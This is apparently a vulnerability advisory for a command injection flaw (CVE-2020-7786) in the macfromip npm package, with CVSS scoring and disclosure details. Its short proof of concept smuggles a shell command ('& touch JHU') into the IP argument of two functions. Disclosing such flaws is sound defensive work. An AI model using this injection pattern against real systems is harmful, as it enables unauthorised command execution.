Command Injection

Affecting macfromip package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

macfromip is a module that gets a MAC address from a LAN IP address

Affected versions of this package are vulnerable to Command Injection. The injection points are located in lines 66 and 96 in macfromip.js.

PoC

var a = require("macfromip");
a.getMacInLinux("& touch JHU", function(){});
a.getMacInWin32("& touch JHU2 &", function(){});

Remediation

There is no fixed version for macfromip.

References

CVSS Score

9.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit
JHU System Security Lab
CVE
CVE-2020-7786
CWE
CWE-78
Snyk ID
SNYK-JS-MACFROMIP-1048336
Disclosed
04 Dec, 2020
Published
09 Feb, 2021